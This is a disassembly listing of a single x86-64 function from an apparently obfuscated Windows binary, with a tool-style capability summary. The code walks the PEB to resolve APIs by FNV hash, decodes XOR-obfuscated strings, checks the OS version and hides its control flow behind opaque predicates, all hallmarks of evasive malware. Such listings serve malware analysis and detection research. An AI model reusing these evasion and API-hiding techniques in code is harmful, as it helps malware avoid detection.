Function at 0x1402bffb0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x120
movzx eax, byte [0x1403ec124]
mov esi, dword [0x1403ec190]
add eax, esi
cmp eax, 0x4b
ja 0x1402c05d2
je 0x1402c0482
cmp eax, 6
je 0x1402c0330
cmp eax, 0x15
je 0x1402c01f4
cmp eax, 0x28
jne 0x1402c05e8
movdqa xmm0, xmmword [0x1403c5ee0]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 8
mov dword [rsp + 0x39], 0xa9efd6
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 0xef
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0086
inc dl
cmp dl, 4
jne 0x1402c0070
jmp 0x1402c0094
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c00c6
inc dl
cmp dl, 8
jne 0x1402c00b0
jmp 0x1402c00d5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c00f2
inc cl
cmp cl, 5
jne 0x1402c00e0
jmp 0x1402c0101
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x1402c0040
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x32], 9
je 0x1402c01e5
mov r9b, 1
mov r8d, 0xd4f86b9d
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, r8d
shr eax, cl
test r9b, al
je 0x1402c0156
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test r9b, al
jne 0x1402c018d
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c018d
mov cl, 9
mov eax, r8d
shr eax, cl
test r9b, al
jne 0x1402c018d
mov cl, 0xb
shr r8d, cl
test r9b, r8b
je 0x1402c10e4
xor r9b, r9b
mov r8d, 0x68a147e9
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c01ae
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c01e5
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c01e5
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c01e5
mov cl, reloc.WS2_32.dll_ntohs
shr r8d, cl
test r8b, 1
je 0x1402c10e4
mov dword [0x1403ec190], 3
jmp 0x1402c10e4
movdqa xmm0, xmmword [0x1403c52a0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0xefefd6
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0xa9
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x2f]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea edi, [rax + r10]
movzx r11d, byte [rsp + 0x37]
add r11b, dil
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0276
inc dl
cmp dl, 4
jne 0x1402c0260
jmp 0x1402c0285
movsx ecx, r11b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c02b6
inc dl
cmp dl, 8
jne 0x1402c02a0
jmp 0x1402c02c5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c02e2
inc cl
cmp cl, 5
jne 0x1402c02d0
jmp 0x1402c02f1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x36]
add al, dil
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 5
jne 0x1402c0230
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x27
jne 0x1402c10e4
add esi, 0x1d
jmp 0x1402c10de
movdqa xmm0, xmmword [0x1403c5eb0]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1403c51f0]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x45], 0xefefd6
mov word [rsp + 0x49], 0x305
mov byte [rsp + 0x4b], 0xa9
mov byte [rsp + 0x44], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x3b]
nop dword [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x47]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c03c6
inc dl
cmp dl, 4
jne 0x1402c03b0
jmp 0x1402c03d4
movsx ecx, bl
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0406
inc dl
cmp dl, 8
jne 0x1402c03f0
jmp 0x1402c0415
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c0432
inc cl
cmp cl, 5
jne 0x1402c0420
jmp 0x1402c0441
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x46]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 9
jne 0x1402c0380
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x3b], 0x2e
jne 0x1402c10e4
mov dword [0x1403ec190], 0x16
jmp 0x1402c10e4
movdqa xmm0, xmmword [0x1403c6260]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x2035002
mov qword [rsp + 0x34], 0x50
mov dword [rsp + 0x3d], 0xef3ba9
mov word [rsp + 0x41], 0x305
mov byte [rsp + 0x43], 0xa9
mov byte [rsp + 0x3c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x35]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3f]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0516
inc dl
cmp dl, 4
jne 0x1402c0500
jmp 0x1402c0524
movsx ecx, bl
movzx eax, byte [rsp + 0x42]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0556
inc dl
cmp dl, 8
jne 0x1402c0540
jmp 0x1402c0565
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c0582
inc cl
cmp cl, 5
jne 0x1402c0570
jmp 0x1402c0591
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x40]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1402c04d0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x35], 0x3b
jne 0x1402c10e4
mov dword [0x1403ec190], 0xc
jmp 0x1402c10e4
cmp eax, 0x2227
je 0x1402c0f3e
cmp eax, 0x23fb
je 0x1402c08a0
movdqa xmm0, xmmword [0x1403c5f00]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1403c5440]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x1403c5c80]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1403c5e80]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x1403c54a0]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x1403c5c90]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x1403c58f0]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x1403c4fc0]
movdqa xmmword [rsp + 0xe0], xmm1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x10d], 0xefefd6
mov word [rsp + 0x111], 0x305
mov byte [rsp + 0x113], Ordinal_217
mov byte [rsp + 0x10c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0xe5]
nop dword [rax]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x70]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x10f]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0717
inc dl
cmp dl, 4
jne 0x1402c0701
jmp 0x1402c0728
movsx ecx, bl
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x70]
add rbx, rcx
movzx r9d, byte [rbx]
nop dword [rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0756
inc dl
cmp dl, 8
jne 0x1402c0740
jmp 0x1402c0768
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c0782
inc cl
cmp cl, 5
jne 0x1402c0770
jmp 0x1402c0794
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x10e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0x27
jne 0x1402c06d0
mov eax, 0x38e38e39
mul esi
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
mov eax, esi
sub eax, ecx
cmp byte [rsp + rax + 0xe5], 0x20
jne 0x1402c07dc
mov dword [0x1403ec190], 9
jmp 0x1402c10e4
xor r9b, r9b
mov r8d, 0x733c4348
mov cl, 0x18
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c0801
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c0898
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c0898
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c0898
mov cl, reloc.WS2_32.dll_select
shr r8d, cl
test r8b, 1
jne 0x1402c0898
mov r9b, 3
mov r8d, 0x8e466d53
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c0855
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c088c
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c088c
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c088c
mov cl, reloc.WS2_32.dll_setsockopt
shr r8d, cl
test r8b, 1
je 0x1402c10e4
mov dword [0x1403ec190], r12d
jmp 0x1402c10e4
add esi, 0x11
jmp 0x1402c10de
movdqa xmm0, xmmword [0x1403c61a0]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x8008
mov dword [rsp + 0x39], 0xd63ba9
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], Ordinal_60
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
nop dword [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0926
inc dl
cmp dl, 4
jne 0x1402c0910
jmp 0x1402c0934
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c0966
inc dl
cmp dl, 8
jne 0x1402c0950
jmp 0x1402c0975
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c0992
inc cl
cmp cl, 5
jne 0x1402c0980
jmp 0x1402c09a1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x1402c08e0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
mov ecx, Ordinal_50
mov edx, 5
cmp byte [rsp + rsi + 0x32], 0xa
cmovne ecx, edx
mov dword [0x1403ec190], ecx
mov edx, 0x8bad3461
mov cl, reloc.WS2_32.dll_socket
mov eax, edx
shr eax, cl
test al, 1
je 0x1402c09fb
mov cl, 1
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c0a27
mov cl, 1
mov eax, edx
shr eax, cl
test cl, al
jne 0x1402c0a27
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c0a27
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c0a27
mov cl, reloc.WS2_32.dll_recvfrom
shr edx, cl
test dl, 1
je 0x1402c10e4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c0f36
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c0f36
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0xf8f2eac9
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c0f2e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c0a93
cmp r10d, 0x7f259463
jne 0x1402c0f2e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
mov r10d, eax
cmp eax, 0x63a67a6a
je 0x1402c0b47
mov dl, 1
mov r9d, 0xc6cbe9b4
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, r9d
shr eax, cl
test dl, al
je 0x1402c0b0c
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test dl, al
jne 0x1402c0b47
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c0b47
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c0b47
mov cl, reloc.WS2_32.dll_select
shr r9d, cl
test r9b, 1
jne 0x1402c0b47
test r10d, r10d
jne 0x1402c10e4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c0f26
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c0f26
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0xc7639715
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c0f1e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c0bb3
cmp r10d, 0x63bb3a6
jne 0x1402c0f1e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0x10bb2fda
call r9
mov r15, rax
mov dl, 2
mov r9d, 0x34260c70
mov cl, reloc.WS2_32.dll_socket
mov eax, r9d
shr eax, cl
test al, 1
je 0x1402c0c34
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c0c69
movzx eax, dl
add dl, dl
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c0c69
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c0c69
mov cl, ntohs
shr r9d, cl
test r9b, 1
je 0x1402c0d41
test r15, r15
je 0x1402c0d41
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1402c0d39
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c0d39
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r10
mov r11d, 0xb68c1499
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c0d35
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c0ce0
cmp r11d, 0x39b7f719
jne 0x1402c0d35
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
nop
jmp 0x1402c10e4
test ebx, ebx
jne 0x1402c0cc0
mov rax, qword [rax]
jmp 0x1402c0c90
mov dl, 3
mov r9d, 0x2e798c01
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, r9d
shr eax, cl
test al, 1
je 0x1402c0d60
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c0d92
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c0d92
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c0d92
mov cl, ntohs
shr r9d, cl
test r9b, 1
je 0x1402c0d30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c0f16
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c0f16
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0x84179c7b
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c0f0e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c0e03
cmp r10d, 0x66122cd3
jne 0x1402c0f0e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
mov edx, dword [0x1403e7cfc]
mov ecx, dword [0x1403e7cf8]
call r8
cmp word [0x1403e7d9e], 0
jne 0x1402c0d30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1402c0efe
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c0efe
mov r14d, dword [rdi + 0x20]
dec ebx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r10
mov r11d, 0xe078dcac
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c0efa
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c0ec2
cmp r11d, 0xa33e2e36
je 0x1402c0d14
test ebx, ebx
jne 0x1402c0ea3
mov rax, qword [rax]
jmp 0x1402c0e80
test ebx, ebx
jne 0x1402c0de0
mov rax, qword [rax]
jmp 0x1402c0db0
test ebx, ebx
jne 0x1402c0b90
mov rax, qword [rax]
jmp 0x1402c0b60
test ebx, ebx
jne 0x1402c0a70
mov rax, qword [rax]
jmp 0x1402c0a40
movdqa xmm0, xmmword [0x1403c5460]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0xa9a93b
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0xef
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r9, [rsp + 0x2f]
nop dword [rax + rax]
lea edx, [r10 + r10*2]
movzx ecx, byte [rsp + rdx + 0x20]
mov byte [r9], cl
movzx eax, r10b
add al, al
lea ebx, [rax + r10]
movzx r11d, byte [rsp + 0x37]
add r11b, bl
xor r11b, cl
mov byte [r9], r11b
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, byte [rsp + rax + 0x20]
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x1402c0fc8
inc r8b
cmp r8b, 4
jne 0x1402c0fb0
jmp 0x1402c0fd7
movsx ecx, r11b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r9], cl
mov dl, 5
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c1006
inc dl
cmp dl, 8
jne 0x1402c0ff0
jmp 0x1402c1015
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r9], cl
xor dl, dl
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c1046
inc dl
cmp dl, 5
jne 0x1402c1030
jmp 0x1402c1055
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r9], cl
movzx eax, byte [rsp + 0x36]
add al, bl
xor byte [r9], al
inc r10d
inc r9
cmp r10d, 5
jne 0x1402c0f80
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x10
jne 0x1402c10e4
mov r9b, 3
mov r8d, 0x8c1651fb
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c10a8
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c10db
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c10db
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c10db
mov cl, reloc.WS2_32.dll_ntohs
shr r8d, cl
test r8b, 1
je 0x1402c10e4
add esi, 0xfffffff9
mov dword [0x1403ec190], esi
mov dword [rsp + 0x20], 0x80010
mov dword [rsp + 0x24], 0x3cb0090
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x2c], 0x80398
mov dword [rsp + 0x30], 0x5f0090
mov dword [rsp + 0x34], 0x800008
mov dword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x3c], reloc.WS2_32.dll_recv
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0xd6ef0000
mov dword [rsp + 0x4c], 0x30500d6
mov word [rsp + 0x50], Ordinal_60
lea r10, [rsp + 0x3e]
nop dword [rax]
lea edx, [r12 + r12*2]
movzx ecx, word [rsp + rdx*2 + 0x20]
mov word [r10], cx
movzx eax, r12w
add ax, ax
lea r11d, [rax + r12]
movzx r9d, byte [rsp + 0x4c]
add r9w, r11w
xor r9w, cx
mov word [r10], r9w
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, word [rsp + rax*2 + 0x20]
nop word [rax + rax]
movzx ecx, r8b
movzx eax, dx
shr ax, cl
test al, 1
jne 0x1402c11a9
inc r8b
cmp r8b, 4
jne 0x1402c1190
jmp 0x1402c11ba
movzx r9d, r9w
movzx eax, byte [rsp + 0x4f]
btc r9d, eax
mov word [r10], r9w
mov dl, 5
lea eax, [r12 + 1]
lea eax, [r12 + rax*2]
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax + rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402c11e7
inc dl
cmp dl, 8
jne 0x1402c11d0
jmp 0x1402c11fb
